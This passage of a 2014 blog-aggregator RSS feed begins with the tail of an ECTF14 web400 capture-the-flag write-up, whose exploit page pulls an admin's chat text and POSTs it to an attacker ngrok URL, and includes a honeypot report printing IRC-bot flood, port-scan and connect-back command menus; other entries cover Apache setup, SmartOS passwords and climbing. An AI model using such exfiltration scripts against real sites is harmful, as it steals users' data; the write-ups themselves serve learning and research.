  &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"utf-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;ECTF14 web400 exploit&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"chat_2"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"chat_106"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;script&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://code.jquery.com/jquery-1.11.0.min.js"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    $(document).ready(function(){
      $.getScript("http://212.71.235.214:4050/chat?sender=2");
      setTimeout(function(){
        var text = $('#chat_2').text();
        $.post('http://20c7d53b.ngrok.com/', {content:text});
      }, 1000);
    })
  &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unfortunately, the exploit did not work on Chrome because Chrome refused to run the script as javascript, because it was being served with a mime-type of &lt;code class="language-plaintext highlighter-rouge"&gt;text/html&lt;/code&gt;. It worked in firefox, and I crossed my fingers as I sent out the link to the above page to admin in a chat message. I knew admin user was using PhantomJS to run my javascript (because of the user-agent in numerous GET requests I got earlier). So, I was hopeful that this would work.&lt;/p&gt;

&lt;p&gt;I was listening at the url, and sure enough as soon as I sent a link out to this page, admin ran my javascript and I got the flag in a POST request.&lt;/p&gt;

&lt;p&gt;The flag was &lt;code class="language-plaintext highlighter-rouge"&gt;bad_js_is_vulnerable&lt;/code&gt;.&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Mon, 20 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2014/10/20/ectf-web400-writeup/</guid></item><item><title>Learning and Curiosity</title><link>https://venam.net/blog/philosophy/2014/10/20/curiosity.html</link><description>About a week ago an instructor at university was asking why most students did not try the step-by-step tutorials at home, or why they didn't at least read it. He then started a speech, trying to understand us and saying that we would not be able to enter the work world easily with this mindset, and asking students what they thought of it.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Mon, 20 Oct 2014 00:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/philosophy/2014/10/20/curiosity.html</guid></item><item><title>Changing root password in global zone</title><link>https://caiustheory.com/changing-root-password-in-global-zone/</link><description>&lt;p&gt;SmartOS mounts &lt;code&gt;/etc/shadow&lt;/code&gt; from &lt;code&gt;/usbkey/shadow&lt;/code&gt; so we can change the root password for the global zone after install. Here&amp;rsquo;s how:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Fire up a console or ssh session as root in the global zone&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Check the existing permissions on the file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ ls -l /usbkey/shadow
-r-------- 1 root root 560 Oct 19 16:45 /usbkey/shadow
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make the file writable&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ chmod 600 /usbkey/shadow
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fire up &lt;code&gt;vi&lt;/code&gt; to edit the file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ vi /usbkey/shadow
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Edit the line containing root to change the crypted password. See &lt;a href="https://us-east.manta.joyent.com/smartosman/public/man4/shadow.4.html"&gt;&lt;code&gt;shadow(4)&lt;/code&gt;&lt;/a&gt; if you need help with the format of &lt;code&gt;/etc/shadow&lt;/code&gt; &amp;amp; use &lt;code&gt;/usr/lib/cryptpass&lt;/code&gt; to generate a hash for the password you desire. &lt;em&gt;(Remember to clean the bash history!)&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Save the file and exit &lt;code&gt;vi&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make the file readonly again&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ chmod 400 /usbkey/shadow
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Double check permissions are correct on the file again&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ ls -l /usbkey/shadow
-r-------- 1 root root 560 Oct 19 16:49 /usbkey/shadow
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Job done. Verify by logging in as root (invoking &lt;code&gt;/usr/bin/login&lt;/code&gt; from an ssh session makes this easy to verify.)&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Sun, 19 Oct 2014 20:44:20 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/changing-root-password-in-global-zone/</guid></item><item><title>Kippo Honeypot Video Gallery</title><link>https://blog.tjll.net/kippo-honeypot-video-gallery/</link><description>&lt;p&gt;
&lt;a href="https://en.wikipedia.org/wiki/Honeypot_%28computing%29"&gt;Honeypots&lt;/a&gt; are rad. Their uses are varied, but I've used my own mostly for research (and entertainment.) It's been running for over a year now, and I thought it would be worthwhile (and interesting) to summarize my findings.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
This honeypot is running on one of my non-critical servers with relatively minimal exposure, so the findings contained herein could be considered a good snapshot of internet background noise &amp;ndash; no particular reason to target my host, but a public IP and open port 22 are enough to hook quite a few bad actors.
&lt;/p&gt;

&lt;p&gt;
I'll be reviewing a portion of malicious artifacts, shell activity, and related data that I've collected.
&lt;/p&gt;
&lt;div class="outline-4" id="outline-container-the-setup"&gt;
&lt;h4 id="the-setup"&gt;The Setup&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org2281f87"&gt;
&lt;p&gt;
I've got a cheap &lt;a href="http://buyvm.net/"&gt;buyvm&lt;/a&gt; OpenVZ container running one of my subdomains for tjll.net with an open port 22. &lt;a href="https://code.google.com/p/kippo/"&gt;Kippo&lt;/a&gt; is running under a user account listening on port 2222, and an iptables rule rewrites inbound ssh packets to instead be rerouted to my kippo honeypot process.
&lt;/p&gt;

&lt;p&gt;
Most connections I observe initiate then terminate almost instantaneously &amp;ndash; whether this means that I've been logged as vulnerable and noted to be revisted later, or just a victim of simple scans, isn't clear.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-the-haul"&gt;
&lt;h4 id="the-haul"&gt;The Haul&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org8658998"&gt;
&lt;p&gt;
With all that being said, let's dive into the spoils!
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-driving-drunk-at-the-shell"&gt;
&lt;h5 id="driving-drunk-at-the-shell"&gt;Driving Drunk at the Shell&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org0ef2f35"&gt;
&lt;p&gt;
This one is purely for fun: I've never seen any other attacker struggle so much to issue simple commands at the terminal.
&lt;/p&gt;

&lt;figure&gt;

&lt;/figure&gt;

&lt;p&gt;
Some IP address checking via &lt;code&gt;ifconfig&lt;/code&gt;, a &lt;code&gt;ping&lt;/code&gt;, and an epic struggle to determine the server's &lt;code&gt;hostname&lt;/code&gt;. No artifacts or malware here, just an amusingly-poor typist.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-bitcoin-miner"&gt;
&lt;h5 id="the-bitcoin-miner"&gt;The Bitcoin Miner&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-org0aed086"&gt;
&lt;p&gt;
This is a fairly new find, and only showed up recently in the honeypot: cryptocurrency miners.
&lt;/p&gt;

&lt;figure&gt;

&lt;/figure&gt;

&lt;p&gt;
Given the rising popularity of bitcoin and the ease of translating stolen CPU time into cash, I'd guess this type of malware is only going to rise (there's certainly been an &lt;a href="http://www.cnet.com/news/bitcoin-mining-malware-reportedly-discovered-at-google-play/"&gt;increase&lt;/a&gt; &lt;a href="http://arstechnica.com/security/2014/05/infecting-dvrs-with-bitcoin-mining-malware-even-easier-you-"&gt;in&lt;/a&gt; &lt;a href="http://arstechnica.com/tech-policy/2011/08/symantec-spots-malware-that-uses-your-gpu-to-mine-bitc"&gt;bitcoin&lt;/a&gt;-&lt;a href="http://www.scmagazine.com/pirated-copies-of-hacking-game-watch-dogs-contain-bitcoin-mining-ma"&gt;related&lt;/a&gt; &lt;a href="http://news.techworld.com/security/3491962/bitcoin-mining-function-embedded-inside-rogue-eulas-"&gt;malware&lt;/a&gt;.)
&lt;/p&gt;

&lt;p&gt;
I did some light forensics on the miner artifact (&lt;code&gt;minerd&lt;/code&gt;, an ELF executable) and along with some of the command-line arguments seen in the recording, found some interesting things:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;A quick run of &lt;code&gt;strings&lt;/code&gt; over &lt;code&gt;minerd&lt;/code&gt; shows that the executable identifies itself as cpuminer 2.3.3&lt;/li&gt;
&lt;li&gt;The hacker's invocation of &lt;code&gt;minerd&lt;/code&gt; shows that he's connecting to &lt;code&gt;54.194.173.83:3333&lt;/code&gt;. After poking around that endpoint, it turns out a site called middlecoin.com is offering a fairly straightforward payout program for miners: hook in your miner with a wallet ID for a username and dummy password, and you'll get easy payouts for many disparate mining processes. It doesn't appear to be inherently malicious, just an easy endpoint to plug rogue miners into (you can actually find this specific hacker's public ID on the site, but he hasn't made much BTC, sadly.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-hidden-dev-shm"&gt;
&lt;h5 id="the-hidden-dev-shm"&gt;The Hidden /dev/shm&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orgad15edb"&gt;
&lt;p&gt;
This one is interesting for two covert techniques that get used:
&lt;/p&gt;

&lt;figure&gt;

&lt;/figure&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The first one I hadn't observed directly before: the attacker tries to hide in &lt;code&gt;/dev/shm&lt;/code&gt; &amp;ndash; makes sense, download stuff into shared memory where it'll be (relatively) transient.&lt;/li&gt;
&lt;li&gt;Using the &lt;code&gt;" "&lt;/code&gt; filename is also a tricky one &amp;ndash; I've also seen files named things like &lt;code class="src src-shell"&gt;..&lt;/code&gt; in the past, which is similarly annoying to deal with.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The artifact in this session is (yet another) IRC bot (using psybnc), albeit thinly disguised as a binary called &lt;code&gt;ntpd&lt;/code&gt;. The attacker also tries to retrieve a file via ftp using wget, which just fails.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-the-99-irc-bots"&gt;
&lt;h5 id="the-99-irc-bots"&gt;The 99%: IRC Bots&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-orgf7d43b1"&gt;
&lt;p&gt;
This is, by far, the most common strain of malware that's landed in the honeypot. IRC botters usually follow this modus operandi:
&lt;/p&gt;

&lt;figure&gt;

&lt;/figure&gt;

&lt;p&gt;
Note that kippo does a pretty good job of faking a package installation, and ticks off the intruder with segmentation faults to the point that they just give up an quit.
&lt;/p&gt;

&lt;p&gt;
Nearly every IRC bot I've collected has been perl. What this says about the masochism of hackers, I can't say (yeah, I know, it's because perl is ubiquitous), but there are some interesting trends.
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;There are some general IRC bot scripts that seem to be popular and reused many times. I only have a couple of unique IRC bot scripts that appear to be custom jobs, the others either carry a common banner in the header from the orginal author or identical subroutine names, configuration variables, and so on.&lt;/li&gt;
&lt;li&gt;Many bots try to masquerading under process names such as &lt;code&gt;/usr/sbin/httpd&lt;/code&gt; and &lt;code&gt;gnome-pty-helper&lt;/code&gt;. Certainly implies that a simple &lt;code&gt;ps&lt;/code&gt; isn't enough to catch malicious processes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
In any case, the variants are many as are their uses &amp;ndash; take a look at some of the commands one of these bots accepts. The first set provides lots of different DoS options, ranging from UDP to HTTP:
&lt;/p&gt;

&lt;pre class="example" id="org0a4f996"&gt;
&lt;code&gt;## [ Flood ] ################################&lt;/code&gt;
&lt;code&gt;#############################################&lt;/code&gt;
&lt;code&gt;# !u @udp1 &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt; &amp;lt;time&amp;gt;              ##&lt;/code&gt;
&lt;code&gt;# !u @udp2 &amp;lt;ip&amp;gt; &amp;lt;packet size&amp;gt; &amp;lt;time&amp;gt;       ##&lt;/code&gt;
&lt;code&gt;# !u @udp3 &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt; &amp;lt;time&amp;gt;              ##&lt;/code&gt;
&lt;code&gt;# !u @tcp &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt; &amp;lt;packet size&amp;gt; &amp;lt;time&amp;gt; ##&lt;/code&gt;
&lt;code&gt;# !u @http &amp;lt;site&amp;gt; &amp;lt;time&amp;gt;                   ##&lt;/code&gt;
&lt;code&gt;#                                          ##&lt;/code&gt;
&lt;code&gt;# !u @ctcpflood &amp;lt;nick&amp;gt;                     ##&lt;/code&gt;
&lt;code&gt;# !u @msgflood &amp;lt;nick&amp;gt;                      ##&lt;/code&gt;
&lt;code&gt;# !u @noticeflood &amp;lt;nick&amp;gt;                   ##&lt;/code&gt;
&lt;code&gt;# !u @maxiflood    &amp;lt;who&amp;gt;                   ##&lt;/code&gt;
&lt;code&gt;#                                          ##&lt;/code&gt;
&lt;code&gt;#                                          ##&lt;/code&gt;
&lt;code&gt;#############################################&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
This bot also accepts some utility commands, such as &lt;code&gt;!u @portscan&lt;/code&gt; for easy remote port scanning:
&lt;/p&gt;

&lt;pre class="example" id="orgab8310e"&gt;
&lt;code&gt;#### [ Utils ] #########################&lt;/code&gt;
&lt;code&gt;########################################&lt;/code&gt;
&lt;code&gt;##  !su @conback &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt;          ##&lt;/code&gt;
&lt;code&gt;##  !u @downlod &amp;lt;url+path&amp;gt; &amp;lt;file&amp;gt;     ##&lt;/code&gt;
&lt;code&gt;##  !u @portscan &amp;lt;ip&amp;gt;                 ##&lt;/code&gt;
&lt;code&gt;##  !u @mail &amp;lt;subject&amp;gt; &amp;lt;sender&amp;gt;       ##&lt;/code&gt;
&lt;code&gt;##           &amp;lt;recipient&amp;gt; &amp;lt;message&amp;gt;    ##&lt;/code&gt;
&lt;code&gt;##  !u pwd;uname -a;id &amp;lt;for example&amp;gt;  ##&lt;/code&gt;
&lt;code&gt;##  !u @port &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt;              ##&lt;/code&gt;
&lt;code&gt;##  !u @dns &amp;lt;ip/host&amp;gt;                 ##&lt;/code&gt;
&lt;code&gt;##                                    ##&lt;/code&gt;
&lt;code&gt;##                                    ##&lt;/code&gt;
&lt;code&gt;##                                    ##&lt;/code&gt;
&lt;code&gt;##                                    ##&lt;/code&gt;
&lt;code&gt;########################################&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Other bots accept similar commands and share other common traits, such as:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;randomized sequences of possible IRC nicks&lt;/li&gt;
&lt;li&gt;connection parameters (which I don't share here, but I've found&amp;hellip; weird IRC server endpoints)&lt;/li&gt;
&lt;li&gt;perl &lt;i&gt;shudder&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-conclusion"&gt;
&lt;h4 id="conclusion"&gt;Conclusion&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org928ebd4"&gt;
&lt;p&gt;
This is just a sample of the logs the honeypot has collected. As it continues to hook ssh crackers, I'm sure there will be more content to dig into, and hopefully interesting enough to summarize and share.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Sun, 19 Oct 2014 09:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/kippo-honeypot-video-gallery/</guid></item><item><title>Maximizing in Yosemite</title><link>https://peanball.net/2014/10/maximizing-in-yosemite/</link><description/><author>peanball.net</author><pubDate>Sun, 19 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://peanball.net/2014/10/maximizing-in-yosemite/</guid></item><item><title>Hacking out an Openshift app</title><link>https://purpleidea.com/blog/2014/10/18/hacking-out-an-openshift-app/</link><description>&lt;p&gt;&lt;a href="https://github.com/purpleidea/puppet-gluster/commit/a4bf5cad81ca66212f4c8e52edb2e816b8895690"&gt;I had an itch to scratch&lt;/a&gt;, and I wanted to get a bit more familiar with &lt;a href="https://www.openshift.com/"&gt;Openshift&lt;/a&gt;. I had used it in the past, but it was time to have another go. The &lt;a href="https://pdfdoc-purpleidea.rhcloud.com/"&gt;app&lt;/a&gt; and the &lt;a href="https://github.com/purpleidea/pdfdoc/"&gt;code&lt;/a&gt; are now available. Feel free to check out:&lt;/p&gt;
&lt;h2 style="text-align: center;"&gt;&lt;a href="https://pdfdoc-purpleidea.rhcloud.com/"&gt;https://pdfdoc-purpleidea.rhcloud.com/&lt;/a&gt;&lt;/h2&gt;
This is a simple app that takes the URL of a markdown file on GitHub, and outputs a &lt;a href="https://github.com/jgm/pandoc/"&gt;&lt;em&gt;pandoc&lt;/em&gt;&lt;/a&gt; converted PDF. I wanted to use &lt;em&gt;pandoc&lt;/em&gt; specifically, because it produces PDF's that were beautifully created with &lt;a href="https://en.wikipedia.org/wiki/Latex"&gt;LaTeX&lt;/a&gt;. To embed a link in your upstream documentation that points to a PDF, just append the file's URL to this app's url, under a &lt;em&gt;/pdf/&lt;/em&gt; path. For example:
&lt;p&gt;&lt;a href="https://pdfdoc-purpleidea.rhcloud.com/pdf/https://github.com/purpleidea/puppet-gluster/blob/master/DOCUMENTATION.md"&gt;&lt;a href="https://pdfdoc-purpleidea.rhcloud.com/pdf/"&gt;https://pdfdoc-purpleidea.rhcloud.com/pdf/&lt;/a&gt;&lt;em&gt;&lt;a href="https://github.com/purpleidea/puppet-gluster/blob/master/DOCUMENTATION.md"&gt;https://github.com/purpleidea/puppet-gluster/blob/master/DOCUMENTATION.md&lt;/a&gt;&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Sat, 18 Oct 2014 19:43:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/10/18/hacking-out-an-openshift-app/</guid></item><item><title>Screenshot Saturday 194</title><link>https://etodd.io/2014/10/18/screenshot-saturday-194/</link><description>&lt;p&gt;Just a quick update this week to confirm that I am in fact alive. The iOS contract game is just about done. I'm pretty happy with it.&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/LeadingClassicHoiho.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Now it's back to work on Lemma:&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/PerfectElaborateAfricanparadiseflycatcher.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;I'll be running a booth, speaking, and participating in a panel at the &lt;a href="http://ohiogamedevexpo.com"&gt;Ohio Game Dev Expo&lt;/a&gt; next weekend! Come on out and hang with us!&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 18 Oct 2014 03:40:33 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/10/18/screenshot-saturday-194/</guid></item><item><title>Letter to Two Climbers (Part 2)</title><link>https://josh.works/growth/climbing/2014/10/18/letter-to-two-climbers-part-2/</link><description>&lt;p&gt;Hello again, it’s me! We met climbing a few days ago.
&lt;a href="/blog/2014/10/12/letter-to-two-climbers-part-1"&gt;I wrote you a letter&lt;/a&gt;, but didn’t want to leave it on such a pessimistic note.
First, I commend you both for getting out there. You both invested a lot in making that weekend happen. You acquired the correct tools, and spent money to do so. You spent time learning how to use your gear, and building the skills you needed to climb outside. You spent a lot of 
time driving to the crag, spending a night or two out there, and climbing for a few days. (Oh, and gas money, food, and all that.)&lt;/p&gt;

&lt;p&gt;Now - not only did you do all those things, but you 
limited your other options. You could have spent that money on anything else. (Literally. That’s what’s cool about money! You can spend it for just about anything. Even weed!) You could have spent your 
time doing anything
 else. You truly had a universe of options to spend your time and your money, and you spent it on climbing.
more&lt;/p&gt;

&lt;p&gt;A lot of climbers get pretty uppity and exclusive, and I’m just as often an offender, but I sincerely thank you. Climbing’s pretty rad, and I’m 
thrilled to see others getting after it! (And who am I to claim exclusive rights to the sport? I’ve not done anything amazing. If all I’ve got on someone is being 
older or having done it 
longer, that’s a pretty weak case.)&lt;/p&gt;

&lt;p&gt;I’m also quite glad you are both safe. No one wants to get injured, or watch someone get injured.&lt;/p&gt;

&lt;p&gt;I’ve been around the block a few times, made plenty of dumb (and not so dumb) mistakes, and learned from some pretty smart people, so, please, carefully consider what I share.&lt;/p&gt;

&lt;p&gt;If we keep a few principles in mind, we will stay safe. And, we’ll have fun. And we’ll get better at climbing.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Fear can keep you alive. &lt;/strong&gt;
Fear is a little (or big) alarm going off saying “Danger! Danger! Something bad can happen!” Last I checked, just about everything we do while climbing has the potential for disaster. We spend minutes or hours at a height where an unrestrained fall would be 100% fatal. I’d say if you 
don’t have an alarm bell going off, you’ve got something wrong with you. So, pay close attention to your fear. It monitors much more than your conscious attention can, and consequently picks up a lot more from your environment than you could ever consciously identify. Don’t poo poo the universe’s most impressive bit of biology giving you a warning. This would be arrogance, not bravery.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Never go too far beyond your comfort zone. &lt;/strong&gt;
Want to know what happens when you go too far beyond your comfort zone? 
&lt;a href="https://www.youtube.com/results?search_query=fail+videos"&gt;Best case, you end up on YouTube&lt;/a&gt;, and everyone laughs. Worst case, you are dead. (Or very close to dead.) Public speaking can be scary, but it’s unlikely you’ll end up dead. Screwing up a technical ascent of K2 will leave you dead nine times out of ten. Sport climbing is closer to climbing K2 than it is to public speaking.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Always go beyond your comfort zone. &lt;/strong&gt;
You know what happens when you don’t go beyond your comfort zone? Nothing. And that should scare you just as much as going too far beyond your comfort zone.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it for now. Soon, I’ll cover how to stay in that sweet spot of a comfort zone. Stay tuned.&lt;/p&gt;

&lt;p&gt;Affectionally yours,&lt;/p&gt;

&lt;p&gt;-Josh&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 18 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/climbing/2014/10/18/letter-to-two-climbers-part-2/</guid></item><item><title>Give Your Users a Taste of Badassery</title><link>https://allan.reyes.sh/posts/badassery/</link><description>&lt;blockquote&gt;
&lt;p&gt;Wow! I love your app because I start out completely useless. I’m fumbling up
this learning curve and I have no idea what I’ll be able to do once I spend
the time to master it!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;— no user ever&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Start your users with this feeling:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Flying bears shooting lasers out of their eyes" src="https://allan.reyes.sh/img/bear-lasers.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Credit:
&lt;a href="http://www.reddit.com/r/WTF/comments/ldov4/i_want_to_believe/"&gt;reddit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;hellip;before you start them at level 1:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Bear cub eating an apple off of a tree" src="https://allan.reyes.sh/img/bear-apples.png" /&gt;&lt;/p&gt;</description><author>allan.reyes.sh</author><pubDate>Sat, 18 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://allan.reyes.sh/posts/badassery/</guid></item><item><title>Parameter ordering: Destinations on the left</title><link>https://www.databasesandlife.com/parameter-ordering-destinations-on-the-left/</link><description>&lt;p&gt;Most (all?) programming languages write assignment with the destination variable on the left hand side, i.e.&lt;/p&gt;
&lt;pre&gt;a = b+c;
&lt;/pre&gt;
&lt;p&gt;Therefore most (all?) programmers are familiar with the destination for an operation being on the left hand side. Therefore, I think, when designing functions or commands doing copying or assignment, the result should also be on the left hand side.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Example: &lt;a href="http://www.cplusplus.com/reference/cstring/memcpy/" target="_blank"&gt;memcpy&lt;/a&gt; in C.&lt;/li&gt;
&lt;li&gt;Counter-example (which confuses me): &lt;a href="http://msdn.microsoft.com/en-us/library/z50k9bft(v=vs.110).aspx" target="_blank"&gt;Array.copy&lt;/a&gt; in C#.&lt;/li&gt;
&lt;/ul&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Sat, 18 Oct 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/parameter-ordering-destinations-on-the-left/</guid></item><item><title>Configure Apache for PHP in OS X / macOS</title><link>https://donatstudios.com/PHP-in-OS-X-Yosemite</link><description>&lt;p&gt;Every time I would upgrade OS X it took probably 45 minutes of fiddling with my Apache configuration to get it working properly. I'm writing this article in the hopes of saving myself and others some time.&lt;/p&gt;
&lt;h2&gt;The Setup&lt;/h2&gt;
&lt;p&gt;For the following examples, &lt;code&gt;{username}&lt;/code&gt; represents &lt;strong&gt;your&lt;/strong&gt; username.&lt;/p&gt;
&lt;p&gt;Firstly, if you don't already have a Sites folder, create one in your home directory.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ mkdir ~/Sites&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create or update &lt;code&gt;/etc/apache2/users/{username}.conf&lt;/code&gt; to look as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Directory "/Users/{username}/Sites/"&amp;gt;
    Options Indexes MultiViews FollowSymLinks
    Require all granted
    AllowOverride All
    Order allow,deny
    Allow from all
&amp;lt;/Directory&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add your virtual hosts if you don't already have them to &lt;code&gt;/etc/apache2/extra/httpd-vhosts.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;ala:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;
  ServerName localhost
  DocumentRoot /Users/{username}/Sites/
&amp;lt;/VirtualHost&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configuration&lt;/h2&gt;
&lt;h3&gt;/etc/apache2/httpd.conf&lt;/h3&gt;
&lt;p&gt;Search for and uncomment the following lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LoadModule deflate_module libexec/apache2/mod_deflate.so
LoadModule userdir_module libexec/apache2/mod_userdir.so
LoadModule rewrite_module libexec/apache2/mod_rewrite.so
LoadModule php5_module libexec/apache2/libphp5.so

Include /private/etc/apache2/extra/httpd-userdir.conf
Include /private/etc/apache2/extra/httpd-vhosts.conf&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then around line 271 add &lt;code&gt;index.php&lt;/code&gt; to the DirectoryIndex&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule dir_module&amp;gt;
    DirectoryIndex index.html index.php
&amp;lt;/IfModule&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;/etc/apache2/extra/httpd-userdir.conf&lt;/h3&gt;
&lt;p&gt;Uncomment the following line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Include /private/etc/apache2/users/*.conf&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Almost Done&lt;/h2&gt;
&lt;p&gt;Restart apache &lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ sudo apachectl restart&lt;/code&gt;&lt;/pre&gt;
